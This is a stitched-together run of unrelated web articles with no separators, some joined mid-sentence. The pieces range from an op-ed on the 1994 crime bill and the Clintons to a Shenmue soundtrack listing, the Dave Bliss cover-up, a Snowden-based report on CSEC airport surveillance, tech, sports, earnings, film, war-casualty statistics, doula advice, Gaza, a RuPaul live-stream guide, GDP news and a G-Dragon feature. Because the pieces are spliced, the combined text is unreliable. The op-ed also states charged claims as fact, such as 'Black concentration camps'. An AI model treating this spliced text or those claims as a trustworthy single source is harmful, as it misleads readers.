He’s soft on crime,” because what that actually means is that he’s soft on Black people. So Bill Clinton made absolutely sure that he’d never be accused of such a thing by signing into law HR 3355, The Violent Crime Control and Law Enforcement Act of 1994.
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In spite of the fact that the Black community embraced Clinton so passionately that they started calling him “The first Black President,” shortly after assuming office he signed “the largest crime bill in the history of the United States, consisting of 356 pages providing for 100,000 new police officers, $9.7 billion in funding for prisons and $6.1 billion in funding for prevention programs which were designed with significant input from experienced police officers.” The bill also allocated $4 billion to all states that would adhere to it’s provision to make violent criminals serve 85% of their sentences before being considered for parole, but some states mandated that all prisoners be required to meet that standard.
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Ben Collins reported in The Daily Beast that Jeremy Travis, former director of the National Institute of Justice (the research arm of the Department of Justice), said that “The pieces of the bill that Joe Biden is most closely identified with have generally been very well accepted. The Violence Against Women Act [also included in the bill] has been acknowledged by everybody as a tremendous influence... The parts of the bill that put more people in prison in our country—that’s a Republican part of the bill. The part that I’m on record being critical of is funding states to increase the length of sentences.” Travis went on to say, “Mandatory prison sentences intensified enforcement of drug laws, and long sentences contributed not only to overall high rates of incarceration, but also especially to extraordinary rates of incarceration in black and Latino communities.”
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In Bill Clinton’s statement on crime during his 1994 State Of The Union Address he specifically targeted the Black and Hispanic communities by dog-whistling Dixie. He said the following:
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“Many years ago, when I started out in public life, I was the attorney general of my State. I served as a Governor for a dozen years. I know what it’s like to sign laws increasing penalties, to build more prison cells, to carry out the death penalty. I understand this issue.And it is not a simple thing. First, we must recognize that most violent crimes are committed by a small percentage of criminals who too often break the laws even when they are on parole. Now those who commit crimes should be punished. And those who commit repeated violent crimes should be told, “When you commit a third violent crime, you will be put away, and put away for good; three strikes and you are out...
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“I think you know that to really solve this [crime] problem, we’ll all have to put our heads together, leave our ideological armor aside, and find some new ideas to do even more. And let’s be honest, we all know something else too: Our problems go way beyond the reach of Government. They’re rooted in the loss of values, in the disappearance of work, and the breakdown of our families and our communities.”
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Here he’s specifically referring to, or ‘dog-whistling,’ about the Black and Hispanic community. One must ask, what about white-collar crime, is that the result of “thedisappearance of work, and the breakdown of our families and our communities” as well? No it’s not. Then who is he talking about? Black people, of course, but instead of simply saying it, he’s dog-whistling it. And thereafter, Clinton teamed up with the Republican Party to produce the biggest, most abusive, and lopsided crime bill in this nation’s history, and created yet another kind of crime – but the kind of crime they approved of – the creation of the private prison industry, Black concentration camps, and the mass incarceration of Black people.
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But now that Hillary is trying to get them back into the White House, here comes Bill again, going to the NAACP apologizing, and saying he made a mistake. But where was that apology over the last 16 years before Hillary decided to run for president? And if he was so sorry about it, why was the Prison Industrial Complex one of Hillary’s biggest donors before she distanced herself from them after declaring her candidacy? But nevertheless, when Bill came, hat-in-hand, asking for forgiveness, here comes John Lewis and the Congressional Black Caucus running to the Clintons’ side like Pavlov’s dog after hearing the dinner bell. It’s not only embarrassing, but disgusting. It’s reminiscent of a scene right out of Django.
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“I signed a [crime] bill that made the problem worse. And I want to admit it,” Clinton said at the 106th NAACP National Convention, which concluded Wednesday in Philadelphia. “In that bill, there were longer sentences, and most of these people are in prison under state law, but the federal law set a trend. And that was overdone; we were wrong about that.”
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Thus, when dealing with either Bill, or Hillary Clinton, dog whistling is a concept that the voting public would do well to become very familiar with, because it’s the most formidable weapon in the Clinton political arsenal, and they both use it prolifically – they have to in order to play both ends against the middle. It allows them to say one thing to us, while sending an altogether different message to their corporate cronies at one and the same time.
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It has been reported that the Clinton’s net wealth is over $100 million, and they control the $2 billion Clinton Foundation, so they’re comfortably entrenched in the very corporate culture that has the American people virtually enslaved. Even their daughter, Chelsea, is married to Marc Mezvinsky, an American investment banker, co-founder of hedge fund Eaglevale Partners, and was formerly an investment banker at Goldman Sachs. So the Clintons and Wall Street are, literally, in-laws.
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So Black people, don’t allow yourselves to be played... again. These people don’t care nothing about you; they just need your vote, to finish enslaving America.
*Distributed titles: Curated releases, and Exclusive color-ways from other great soundtrack releases from around the world.
The original soundtrack to the groundbreaking SEGA game, newly remastered and available for the first time ever on vinyl. A selection of beautiful orchestral tracks from one of the most important games of all time.
All copies include a traditional OBI strip, spot varnished cover and a lithographic print. Featuring music by Takenobu Mitsuyoshi, Ryuji Iuchi, Osamu Murata and Yuzo Koshiro.
A1. Shenmue - Sedge Tree
A2. Shenhua - Sedge Flower
A3. Encounter with Destiny
A4. Christmas on Dobuita Street
A5. The Sadness I Carry on My Shoulders
A6. Cherry Blossom Wind Dance
A7. Daily Agony
B1. Tears of Separation
B2. Dawn
B3. Snowy Scenery
B4. Separated from Yokosuka
B5. Departure for Hope
B6. The Place Where the Sun SetsFive days after one of his players was found dead, murdered by a teammate, Dave Bliss was hard at work at the coverup to save his own skin.
Sitting with assistant coach Abar Rouse, the Baylor head coach mapped out his strategy to smear Patrick Dennehy, a Bears basketball player who had been shot and killed.
Dennehy’s body was found July 25, 2003. On July 30 of that year, Bliss, in chilling audio released as part of a new documentary about the murder and ensuing deception, can be heard instructing Rouse on how they would stain Dennehy’s character by suggesting he was a drug dealer. Doing so, he hoped, would throw investigators off the scent of the head coach, who had paid part of Dennehy’s tuition, violating an NCAA rule.
“There’s nobody right now that can say that we paid Pat Dennehy because he’s dead. OK?” Bliss is heard saying in a one-minute snippet of “Disgraced,” premiering Friday at 9 p.m. on Showtime. “So what we have to do is create the reasonable doubt. I got like 30 years, I’ve never talked to an NCAA investigator. OK? So, I mean, that stands for something. And the thing about it is, what the lawyers want to do is all they got to handle is $2,000 for the down payment, and then $7,000 on his tuition. And what we’ve got to create here is drugs.”
Selling drugs would explain how Dennehy had the extra money Bliss supplied him. But Bliss did not count on Rouse secretly recording his orders, which would lead to Bliss being fired from Baylor and banned for 10 years from the NCAA. (Once that suspension was lifted in 2015, Southwestern Christian University in Oklahoma made Bliss its head coach.)
There has never been a shred of evidence that Dennehy sold drugs. To this day, Bliss insists his account is true.Pearson airport, potential international spy trap. Photo via.
This morning, the CBC released a bombshell story about CSEC, Canada’s NSA. The CBC’s breaking news comes from previously unreleased documents from Edward Snowden, which they analyzed in tandem with Ronald Deibert, founder and director of the University of Toronto’s Citizen Lab—an “interdisciplinary laboratory” that analyzes the contentious intersection between technology and human rights.
I’ve previously reported on CSEC and speculated on their trustworthiness in the wake of Snowden’s unrelenting fire-hose of leaked spy files, but until today there wasn’t much information about the notoriously mysterious agency that operates out of a 72,000 square foot, $800 million dollar surveillance palace in Ottawa.
Last year, thanks to the Guardian, we learned that Enbridge was canoodling with CSEC to gather information on Brazil’s mining and energy industries. Glenn Greenwald also brought Snowden documents to the CBC, who then reported the Canadian government allowed for the NSA to set up a surveillance operation in Ottawa during Toronto’s G20 in 2008, to spy on the other world leaders. The redacted documents from that operation are available to read on Wikipedia.
Around the time CBC broke the G20 story in December, Greenwald warned that more CSEC leaks were just around the corner—adding that there was “very substantial evidence” that CSEC spying on Brazil was “far from aberrational.” He also pointed to Canada’s membership in the Five Eyes spy club—a partnership with the NSA, the UK’s GCHQ, New Zealand’s GCSB, and Australia’s DSD—and explained how those countries have placed “a massive spy net over the entire world.”
So, today’s breaking news greatly illuminates Canada’s role in the Five Eyes and how they are apparently using dragnet surveillance programs to spy, indiscriminately, on “thousands of ordinary airline passengers for days after they leave the [airport] terminal.” CBC is hosting the redacted, top-secret overview of CSEC’s airport-spying program on their website. Apparently CSEC is able to identify airport travelers’ phones and laptops in a massive spying sweep, and then continue to track them backwards and forwards in time, to determine which Canadian hotels and other Canadian airports they’ve visited, what local internet cafes they may have checked in at, and then which international hotels, airports, and other WiFi hubs they’ve logged into abroad.
This ability to go backwards and forwards in time indicates CSEC has access to vast treasure troves of data that they are matching to the wireless devices they’re scooping up and identifying through their airport surveillance program. This helps them to create what sounds like a very comprehensive record of any traveler’s coming and goings throughout the world. I contacted Ronald Deibert this morning to clarify that capability: “CSEC is acquiring data from several sources, including what's described as a ‘Canadian Special Source’ and several databases, which are possibly operated by other private companies or agencies abroad. This means that they likely have the capability to interrogate data in bulk over a large stretch of time—depending on what's contained in those databases and what's been handed to them by the ‘Canadian Special Source.’ I take the latter to mean a large telecommunications provider in Canada.”
Deibert is the author of Black Code: Surveillance, Privacy and the Dark Side of the Internet, a comprehensive, must-read account of the global surveillance and censorship network that the governments of the world have unleashed on the planet. Much of the book deals with the secretive, internet security and military industrial complex formed by government agencies such as the NSA, and private contractors like Edward Snowden’s former employer, Booz Allen. While journalists and activists—like the currently imprisoned Barrett Brown, or the Telecomix group, through their Bluecabinet Wiki—have done extensive research in the United States to discover how this shadowy network operates, very little is known about how CSEC operates alongside private contractors to gather information.
According to Deibert’s own interpretation of today’s bombshell, CSEC may be using information collected from private companies, along with Canadian telecom providers, to create a massive database of information they can use to track the comings and goings of large amounts of people en masse. Revelations like today’s CSEC leaks show how our laptops and smartphones are treated, in Deibert’s words, as “digital dog tags” to the surveillance agencies that ostensibly aim to track every single movement that occurs on planet Earth.
This morning’s report from the CBC states: “CSEC claims ‘no Canadian or foreign travellers' movements were 'tracked,' although it does not explain why it put the word ‘tracked’ in quotation marks.” After James Clapper, the United States’ Director of National Intelligence, lied to Congress when he said Americans were not being spied on by the NSA—any such statement from a Five Eyes spy agency comes with almost zero credibility.
Top secret CSEC doc, via the CBC.
On top of that, CSEC’s own language in their overview of the airport-spying program does not seem to indicate they’re only collecting data on alleged terrorists or other dangerous targets. The presentation’s slide on “Data Reality” describes how travelers tend not to linger when they arrive at the airport, so their WiFi usage is limited to the wait time between connecting flights, or at baggage claim, or even in private lounges. To me, this kind of high-level, macro-analysis on passenger behaviour describes an all-consuming surveillance program, rather than one that is specifically out there looking for the “bad guys” in the interest of “national security.”
The presentation goes on to describe “a new needle-in-a-haystack analytic” that apparently allows CSEC to sort through the mass amount of information they’re collecting to find specific targets. They use a case study example of a “kidnapper based in a rural area [who] travels to an urban area to make ransom calls,” in an effort to hide-out in an place where there is a greater volume of communication data to spy on and sift through—i.e., a bigger haystack. The CSEC presentation explains to its spies how they can “sweep” a public area to determine where ransom calls, for example, are being made if they know the time of the call—even if the “kidnapper” is using public WiFi at a library or coffee shop.
If CSEC knows the time of the “ransom calls” they can sweep an area where they believe the “kidnapper” is located, and then look for aberrations in the data. For example, they’ll remove all of the “heavy users” from the list that are constantly connected—because their “kidnapper” only popped online to make one quick call. The more “ransom calls” their “kidnapper” makes, the more information they have to hopefully separate the needle from the haystack—as they put it.
As Ronald Deibert wrote in the Globe and Mail today, in an article titled “Now we know Ottawa can snoop on any Canadian. What are we going to do?”: “When you go to the airport and flip open your phone to get your flight status, the government could have a record. When you check into your hotel and log on to the Internet, there’s another data point that could be collected. When you surf the Web at the local cafe hotspot, the spies could be watching.”
It’s this kind of surveillance-based law enforcement strategy that will likely divide people on the usefulness of agencies like CSEC. If we think about in their terms—i.e. how this kind of dragnet surveillance can be used to catch a kidnapper—it’s easy to get comfortable with such a massive spying power operating in Canada. But when you consider the haystack, beyond the needle, and realize that CSEC is not just collecting information on that one supposed kidnapper, but also the data of the other hundreds of thousands, or millions, of people surrounding that bad person, suddenly the usefulness and even the legality of such a program becomes highly dubious. Ronald Deibert has stated quite clearly he believes this CSEC program is illegal, so it will be very interesting to see how the government reacts—if at all—and if there’s any significant social fallout from this highly revelatory leak.
@patrickmcguireFour weeks ago, a handful of frustrated but determined tech leaders in San Antonio met to talk about how they could galvanize their community into greater cohesion and political action.
In retrospect, the departure of Uber and Lyft proved to be a rallying cry. Tuesday evening marked the official launch party of Tech Bloc (@SATechBloc), and the turnout exceeded all expectations as the movement caught fire on social media.
“Six grew to 60 and now look at you!” said Lew Moorman, a tech investor and former longtime president of Rackspace, as he spoke to crowd of 600 people that filled Southerleigh Fine Food & Brewery and spilled on to the patio and plaza. “This happened in only four weeks.”
Only the fire code kept more people from pushing inside to hear Moorman and David Heard, chief marketing officer for SecureLogix.
Heard warmed up the crowd with a joke: “How many software engineers does it take to change a lightbulb? None: it’s a hardware problem.”
Heard and Moorman stood on a balcony with brewing tanks behind them as one of the biggest concentrations of tech talent ever to gather in San Antonio stood below, sipping craft brews, savoring passed hors d’oeuvres, and enjoying what Moorman called the energy and power of people engaged in a “creative collision.”
The event was part social, part networking, and most of all, a call to action for people more comfortable with software and startups to get organized and get active politically.
“We were hoping for 200, then we got more than 900 RSVPs and now there are 600 in the house,” Heard said to shouts and applause. “Why are we here tonight? Free beer? Maybe for a few of you, but that’s not it for most of you.”
Heard then introduced Moorman: “If Tech Bloc has a godfather, it’s got to be Lew.”
Moorman made several references to the departure of rideshare companies as giving birth to Tech Bloc, and he shared an anecdote about a friend and Los Angeles tech company founder who Moorman had been wooing to move to San Antonio, working, in his words, “as a one man economic development enterprise.”
The friend, Chris Ueland, founder and president of MaxCDN, seemed interested until news broke of Uber and Lfyt leaving San Antonio. Ueland sent Moorman an email with a link to news coverage and this in the subject line: WTF?
“All the air in the balloon got let out,” Moorman lamented, “but the good news is that’s why we’re here now.
“We are going to get Uber and Lyft back here,” Moorman added to loud cheers. “If Cedar Rapids, Iowa, can get it right, so can we.”
He asked attendees to sign Tech Bloc’s new change.org petition to bring back Uber and Lyft to San Antonio that goes live Wednesday.
Interestingly, both mayoral candidates, interim Mayor Ivy Taylor and former state Sen. Leticia Van de Putte, were present as Moorman addressed the audience, along with Councilmembers Roberto Treviño (D1) and Ron Nirenberg (D8).
Moorman then answered the question on everyone’s minds:
“Where do we go from here? We’re going to start with small things, this is going to take a long time.”
Moorman said Tech Bloc seeks to do three things:
1. Advocacy work with city officials to improve San Antonio’s livability, which will include adjustments to economic development strategies to grow the tech community, and new marketing strategies that focus on places like the Pearl and Geekdom rather than the River Walk, mariachi and margaritas.
2. Build an ecosystem that connects everyone in the city’s tech sector, an effort that will include an online directory and calendar of events.
3. Convene the community for “one damn good event each quarter.” Moorman said San Antonio native Robert Hammond, co-founder of the Friends of the High Line in New York, will speak at the next Tech Bloc gathering on Aug. 11.
“Robert Hammond is an amazing guy…the High Line has generated billions of dollars in development along the park, and Robert is going to come here and teach us how to start and build things.”
Moorman finished by speaking about his personal commitment to his home town, saying he had no interest in moving to more tech-friendly environments like San Francisco or Austin.
“I like to build things, and we have the opportunity to build something great here in San Antonio,” he said.
With that, people lingered to talk with elected officials, make new connections, and renew longtime connections. No one seemed in a hurry to leave. Finally, word came over the Southleigh loudspeaker. It was time to take the creative collision outside and make room for the evening’s regular patrons.
Years from now, the founders and organizers of Tech Bloc might look back at Tuesday night at Southerleigh at the Pearl as the moment when San Antonio shifted into a higher gear and began accelerating, making up for lost time.
This story was originally published on Tuesday, May 19, 2015.
*Lew Moorman speaks to a packed crowd. Photo by Scott Ball.
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UFC lightweight Joe Lauzon will face Clay Guida on Nov. 11 at UFC Fight Night 120 in Norfolk, Virginia, according to a release via UFC.com. If that sentence doesn't excite you, we don't know what to say. Both Lauzon and Guida have forged lengthy careers inside the UFC Octagon, thrilling fans time and again with their no-nonsense, all-action styles.Combined, Lauzon and Guida have earned a ridiculous 13 Fight of the Night awards, with Lauzon taking seven and Guida taking six.Guida also owns three Submission of the Night bonuses, while Lauzon has one Knockout of the Night honor, six Submission of the Night awards, and one Performance of the Night bonus.Basically, this fight is going to rule.As if he needed any more motivation, Lauzon will come into the bout off a loss, as he dropped a majority decision to Stevie Ray at UFC Fight Night 108 in April.Guida, meanwhile, currently enjoys some positive momentum. He defeated Erik Koch via decision at UFC Fight Night 112 in June in a bout that marked his return to the 155-pound division after a relatively unsuccessful stint at 145.Don't miss breaking news, feature stories, event updates, and more. Sign up for the FloCombat mailing list today.Motorola (MOT) already warned that it had a terrible Q4: Last month, the company said Christmas quarter cellphone shipments dropped 54% year-over-year, and that revenue would miss consensus by as much as $500 million.
So when the company discusses its earnings Tuesday morning, we'll be listening closest for what's next. This includes:
How Motorola's cellphone spinoff plans are going. Last October, Motorola said its spinoff -- originally scheduled for this summer -- would be delayed indefinitely.
Whether the company is really demoting Microsoft's (MSFT) Windows Mobile and focusing on Google's (GOOG) Android platform.
How the rest of Motorola's business -- its network infrastructure and set-top box units -- is doing.
What, if any, guidance the company will give for 2009.
Analysts expect Motorola to report $0.00 of adjusted EPS on $7.15 billion of revenue -- down from their $7.5 billion revenue consensus from January. Motorola said in its pre-announcement that revenue would fall between $7.0-7.2 billion.
For the full year, the Street expects Motorola to earn $0.01 on $25.8 billion of revenue -- down 14.5% year-over-year.
See Also:
Motorola Demotes Windows Mobile, Fires Staff
Dell Testing Both Microsoft, Google-Based Phones
Motorola Blows Q4, Firing 4,000 More0
Spoiler
As was well documented over the weekend, Fantastic Four had a rather tumultuous production period. Word varies over whether the fault lies with director Josh Trank or 20th Century Fox, but what’s ultimately clear is that the finished production isn’t necessarily what anyone set out to make. Extensive reshoots took place in order to alter the film after they wrapped principal photography, and while reshoots are a common occurrence on any big budget blockbuster, the sheer amount of new scenes in Fantastic Four is pretty staggering. And you don’t have to trust someone’s word as to which scenes are new; Kate Mara’s highly noticeable wig acts as a signpost pointing viewers to scenes or sequences that were shot after the fact, including a great deal of the third act.
This morning, some behind-the-scenes video from Fox surfaced that revealed some significant scenes and plot points that aren’t in the movie—including the Fantasticar—but when I left the theater after seeing the film, I kept thinking back to the trailers and promotional materials. There seemed to be quite a few scenes and shots that were teased as part of the marketing that never made it into the final cut.
While it’s not uncommon for deleted scenes to appear in trailers and such, Fantastic Four is a unique case because A. So much has been made about what was and wasn’t changed in the edit, and B. The impact of the scenes appearing in trailers that don’t show up in the film is significant.
With that said, let’s take a look at some of the key shots of note:
So this is one of the big ones. This sequence was the “money shot” at the end of nearly every trailer and TV spot for the film…and yet it’s not in the movie. It appears to be a sequence showing The Thing on one of his military missions, and it likely would’ve been one of the major action beats of the film. It’s unclear why it was dropped, but Fox no doubt spent a fair amount of visual effects money on generating The Thing alone, so there must’ve been a serious reason to cut it.
Another big one: Reed met with Victor when he returned from Planet Zero! This is kind of huge. In the finished film, Victor essentially begins his death and destruction tour as soon as he gets back. But in this scene, which is in the first trailer, we hear Doom say, “Be ready for what’s coming,” to which Reed replies, “What is coming?”, then Victor says, “The answers.” This entire exchange and interaction is gone from the finished film, and it would’ve certainly helped the movie’s case if the relationship between Victor and Reed anyone had been further fleshed out. I am fascinated by how this all tied together originally.
The majority of the action stuff on Planet Zero appears to have been completed in reshoots as evidenced by Mara’s wig, but here’s a shot from the original ending. It’s emotional and looks to be a quiet moment between Sue and Johnny, which again might have been nice since their relationship doesn’t get very much attention in the finished film. Moreover, the movie’s third act feels breezy and nonchalant. This looks like it has serious emotional stakes.
And here are a couple of shots of what look to be backstories for Johnny and Ben. One of the movie’s big issues is that we don’t really know much about any of the characters. It’s possible more time spent with them before the accident—especially Ben—could have given them the emotional payoff the film is clearly looking for. Or it’s also possible this stuff just wasn’t very interesting and was bogging the movie down.
Will we ever get to see this footage in an actual cut of the film, or as deleted scenes? It sounds unlikely. For now, they’ll have to live as brief glimpses in the three official trailers that were released, which you can watch below.(This is a repost of an article originally posted at Creative Destruction. Comments older than Wednesday 10 January 2007 were originally posted there. See this post for details about the move. If that link doesn’t work, try this one.)
In recent posts, I’ve been debunking the myth – mistakenly attributed to the ICRC – that women and children are 80% of war casualties. Here I summarise and discuss the findings of four papers from the peer reviewed British Medical Journal, all of which which were based on patient data from Red Cross and Red Crescent Hospitals. (See also my Analaysis of the figures given in the Lancet study on the war in Iraq.)
Conclusion
The data are consistent with the hypotheses that upwards of 75% of war casualties are adult men, and that upwards of 90% of war casualties are male. See below for detailed findings and discussion.
Findings
Robin M Coupland, surgeon, Hans O Samnegaard: “Effect of type and transfer of conventional weapons on civilian injuries: retrospective analysis of prospective data from Red Cross hospitals”
Subjects: 18 877 people wounded by bullets, fragmentation munitions, or mines treated in Red Cross/Crescent Hospitals in multiple conflict zones on two continents.
Relevant findings: 26.4% of all casualties (and 18.7% of bullet casualties) are “Women and girls, boys (under 16), [and] men over 50″. If the unstated (but presumably non-zero) number of men over the age of 50 are excluded, then the figures for “women and children” must be lower. See Table 1.
Markus Michael et al.: “Incidence of weapon injuries not related to interfactional combat in Afghanistan in 1996: prospective cohort study”
Subjects: 608 people admitted to Jalalabad hospital because of weapon injuries.
Relevant findings: 90% of all casualties (95% of combat casualties and 85% of non-combat casualties) are male. If we add the number of female casualties to the number of child casualties we obtain the figure 25%, which is an upper limit to the number of “women and children” casualties. (The actual figure will be lower because there were presumably a number of girls who are double-counted in this sum.) See Table 1.
David R Meddings, Stephanie M O’Connor: “Circumstances around weapon injury in Cambodia after departure of a peacekeeping force: prospective cohort study”
Subjects: 863 people admitted to hospital for weapon injuries over 12 months.
Relevant findings: 85% of casualties were male, and 51% “civilian”. See Table 1. It is not clear how “civilian” is defined in this study.
David R Meddings: “Weapons injuries during and after periods of conflict: retrospective analysis”
Subjects: 2332 people who received weapons injuries during the conflict or post-conflict periods and were admitted to hospital within 24 hours of injury.
Relevant findings: 94% (during the conflict period) and 97% (during the non-conflict period) of casualties were male. See Table 1.
Discussion
It’s important to realise that these studies do not represent independent data. As far as I can tell, all three other papers used subsets of the Coupland data. However, while none of these papers provide quite the information I’m interested in, Coupland and Michaels allow me to calculate upper limits to the proportion of “women and children” casualties in two different way, (remarkably agreeing to within 1%), while Michael and the two papers by Meddings give the proportion of male casualties, which cannot be determined from Coupland. All in all, the four papers present a remarkably consistent picture of an overwhelmingly high male casualty rate, born largely by adult men, despite diverse geographical, political, and military circumstances.
A number of possible confounding factors are discussed by the authors. These can be divided into three categories – sample bias, misclassification of “civilian” status, and misclassification of wound type. The latter issue is marginal to my enquiry, and I devote no further discussion to it; I discuss the other two issues below:
Sample Bias
If the relevant population is “all those killed or injured by weapons of war”, then a sample drawn solely from Red Cross/Crescent hospitals is clearly not random. The unsampled population can be divided into several subpopulations each of which may present quite different casualty profiles:
Casualties treated in military hospitals. (May include more combatants).
Casualties treated in hospitals run by the civil authorities. (One might expect the profile of casualties to differ between areas where an effective civil health service continues to function, and areas where it has collapsed, or where none has ever existed.)
Casualties treated by other humanitarian organisations. (May reflect the differing priorities of these organisations.
Casualties who are killed in the attack, or who die before reaching hospital.
Casualties who are captured and treated (or not) by the capturing force. (More likely to be men, whether combatant or no.)
Other casualties who are not treated in hospital.
The effect of excluding fatalities is that groups of casualties with a high wound to kill ratio are overrepresented. In general this means combattents who were actively defending themselves, and non-combattents who were “collateral damage”, i.e., “caught in the crossfire” but not specifically targeted. By contrast attacks on groups who are able neither to hide, nor escape, nor defend, often have very low wound to kill ratios, sometimes nil. (Cite) Such massacres, under- or unrepresented in the ICRC data, are usually perpetrated against men (Cite).
Taking all these factors into consideration, it would appear that sample bias is more likely to lead to an underestimate than overestimate of the proportion of male casualties.
“Civilian”
Coupland designates as “civilian” casualties who are women, children under 16 and men over 50. I find this problematic for several reasons. Firstly he doesn’t seem to distinguish between “civilian” and “non-combatant”. These are essentially different concepts. A person is a civilian if they are not currently enlisted into a military unit. A person’s status as a (non-)combatant depends upon their posture with respect to the ongoing conflict. Non-civilians (i.e., soldiers) are non-combatant if they are hors-de-combat by reason of injury or because they have been taken prisoner or disarmed. Civilians can be combatants if they attack others, or provide support to military or paramilitary units.
It’s important to observe that Coupland does not regard adult men within the age range necessarily to be combattents, nor does he classify them as such. Rather he takes the view that there are likely to be more non-combatants among the adult men, than combattents among the “civilians”. Although I do not disagree with this conclusion, I find the labelling prejudicial in that it reinforces the prevailing cultural view that men are less worthy of concern as victims of war than “innocent” women and children, regardless of whether they are combatants, or whether they have any choice to be in the position they’re in.
(Edited for spelling)The ideal time to hire a doula is as early in your pregnancy as possible. This allows both you and the doula to get to know one another and to discuss your plans for your pregnancy, labor, and birth as long as needed. It also gives you more time to explore the options that your doula may alert you to in your area.
How to Hire a Doula
The quick version is:
Interview at least a couple of doulas
Hire early to get full benefits
But don't worry if you have a late start.
Some people even find a doula prior to pregnancy. This may be because she has used this doula before or another doula in a previous pregnancy and wishes to have a doula at the next birth. You may also see this if a person is looking for a specific type of pregnancy or birth experience and is hoping that a doula will be able to help her find resources.
Many women wonder if it is too late to find a doula. While looking earlier in pregnancy assures you that you have a wider selection of doulas from which to choose, there are always benefits to trying to find a doula, even if you were past your due date. While your choices may be more limited due to call schedules that are already filled, it is certainly worth the effort to ask. Many of the doulas may now have free space in their calendars because of previous clients that have already delivered. Or there may be an option of using a doula in training if no one else is available.
When hiring a doula it is best to check as many candidates as you feel comfortable with checking. My advice is to always look at at least two or three doulas. You can begin by looking at their websites. This is often a great place to get a feel for the doula in question. She may or may not list her prices, but she will likely list the services that are included in her fees. She may also talk a bit about her philosophy of birth and perhaps some of her doula history in terms of where she has done births and with which practitioners. Once you have narrowed it down to a handful of doulas, I would send emails or make phone calls.
A quick discussion on the phone about her availability for your due date and some other quick questions are appropriate for this phone conversation. If the answers meet with your satisfaction, ask if you could have an interview in person. You should have again at least two or three interviews with various doulas with your partner present. This ensures that both of you feel like you can work with the doula at your birth.
Interview Potential Doulas
During the interview process, a doula may give you a contract to look over. This contract will spell out what the doula will provide at your labor and birth. It may also talk about other services that she may provide for an additional fee. This may include childbirth classes, massage therapy |
causing Palestinian casualties and injuries had also increased. Israeli authorities were holding up to 24 percent more Palestinians in administrative detention in 2014 than in 2013.
The attempts of the ruling establishment to whitewash its crimes are in sharp contrast to reports by some of its own soldiers and human rights groups. In May, Breaking the Silence, a group of Israeli soldiers, published a report showing how Israel’s lax rules of engagement combined with indiscriminate artillery fire were a major factor in the large number of civilian casualties and the mass destruction in last summer’s war on Gaza.
The human rights group B’Tselem had earlier published a report into 70 air strikes by Israel on homes in Gaza that killed 606 people, including 93 children under five. It accused Israel of breaching international humanitarian law, focusing on ministers, including Prime Minister Binyamin Netanyahu, who authorised the policy of attacking homes.
Last April, following a UN investigation led by a retired British general, UN Secretary General Ban Ki-moon held Israel responsible for the bombing of seven United Nations sites, including five schools, used as civilian shelters during the war in which 44 Palestinians died and 227 others were injured. He condemned the attacks “as a matter of the utmost gravity” and insisted that UN locations were “inviolable.” Acceding to heavy pressure from Tel Aviv and Washington, however, the UN agreed to delay publication until after Israel had completed its own inquiries.Tonight, "RuPaul's Drag Race" season 6 episode 14 will air on Logo TV, and now all the queens can watch the live stream online.
In this episode, the queens reunite and reflect on the season.
For Logo TV, there is a live stream which can be accessed here and here, (depending on your region one may be accessible over the other), and through that, fans can watch the "RuPaul's Drag Race" season 6 episode 14 live stream online.
There are a lot of fake channels solely for the purpose of luring viewers with ads, but here is how you can avoid any potential hiccups with pop-ups and ads.
--Do not download anything that is suggested.
--For every ad, there is an "X" button. It is typically in a corner or out of the way so it is hard to see. Sometimes ads try to fool you by giving you a fake "X" graphic which leads you to an ad. Do not be discouraged when this happens, the real "X" button is there somewhere.
--Multiple ads will pop and it takes a little bit to clear out each and every ad. Even then, pop-ups will occur as you clear the ads. Do not listen to any of these ads or pop-ups and clear them right away.
--This "RuPaul's Drag Race " season 6 episode 14 live stream will have recurring ads that pop up every once in a while. If this is the only way you can view "RuPaul's Drag Race," do not be deterred and the live streaming will work once the ads disappear.
Be sure to check out "RuPaul's Drag Race" season 6 episode 14 tonight on Logo TV!Analysts had expected GDP growth to be 1 percent to 1.2 percent. Fiscal fights ding economy
No one is predicting a "double-dip recession" yet — but Wednesday's negative-growth GDP reading put to rest the question of whether Washington’s budget wars can damage the economy.
They just did.
Story Continued Below
And with two major fiscal fights looming early this year, it's got policymakers worried there could be more grim news on the horizon for an economy already barely pulling itself out of the doldrums.
( Also on POLITICO: Obama's GDP nightmare)
On its face, the 0.1 percent fourth quarter GDP contraction — the first negative growth since the middle of 2009 — announced by the Commerce Department drew mixed reactions from economists, many of whom saw positive news beneath the headlines, so long as Washington doesn’t keep getting in the way.
Analysts had expected GDP growth to be 1 percent to 1.2 percent. Still, investors appeared to shrug off the GDP number, as the Dow Jones Industrial Average was down slightly in morning trading.
While federal, state and local government spending, private inventory investment and exports were down, personal spending was up by 2.2 percent, more than its 1.6 percent increase in the third quarter.
Nonresidential fixed investments also increased 8.4 percent, reversing a decline in the previous quarter.
But the fourth quarter ended just as lawmakers and the White House were battling over the fiscal cliff. And Congress and the White House are now wrangling over what to do with a round of spending cuts, including major curbs on Pentagon spending, set to take place on March 1 — and a possible government shutdown in late March — that some economists have warned could further slow economic growth.
( Also on POLITICO: Krugman: U.S. has 'running room')
Noting that “federal defense spending declined precipitously, likely due to uncertainty stemming from the sequester,” Alan B. Krueger, chairman of the White House’s Council of Economic Advisers, downplayed the report in a blog post. Instead, he said that “today’s report is a reminder of the importance of the need for Congress to act to avoid self-inflicted wounds to the economy. The administration continues to urge Congress to move toward a sustainable federal budget in a responsible way that balances revenue and spending, and replaces the sequester, while making critical investments in the economy that promote growth and job creation and protect our most vulnerable citizens.”
Nonetheless, the number comes at an inopportune time for the White House as it tries to move beyond fights with Republicans over the economy and focus on new policy pushes on immigration reform and gun control.G-Dragon and a host of collaborators from Korea, America, and beyond reveal the stories behind his new album.
This feature is part of Complex's Coup D'Etat Week with G-Dragon.
We celebrated G-Dragon's influential style in our digital cover story but remember: G-Dragon is a musician first and a fashion icon second. As one of Asia’s biggest stars, the 25-year-old is the rare K-pop artist with the autonomy and power—not to mention the seven-figure publishing checks—to fully execute his musical vision, even while under major label YG Entertainment.
GD’s latest brainchild, Coup D’Etat—which was released digitally in two parts last week—is the result of that creative independence. Breaking out of the K-pop box, Coup D’Etat is an eclectic mix of hip-hop, dubstep, rock, electro, and pop. It’s also G-Dragon’s most international release to date, with appearances from Diplo, Baauer, Missy Elliott, Boys Noize, and Sky Ferreira. And that’s not to mention G-Dragon’s core team of Korea-based all-stars, including longtime producers Teddy and Choice37.
To document a global collaboration requires a global pursuit. So, for The Making of G-Dragon’s Coup D’Etat, we called, emailed, text-messaged, Kakao Talked, and met face to face with all of the key players behind the album—starting and ending with, of course, the most important person in the process: G-Dragon himself.
As told to Jaeki Cho (@jaekicho)
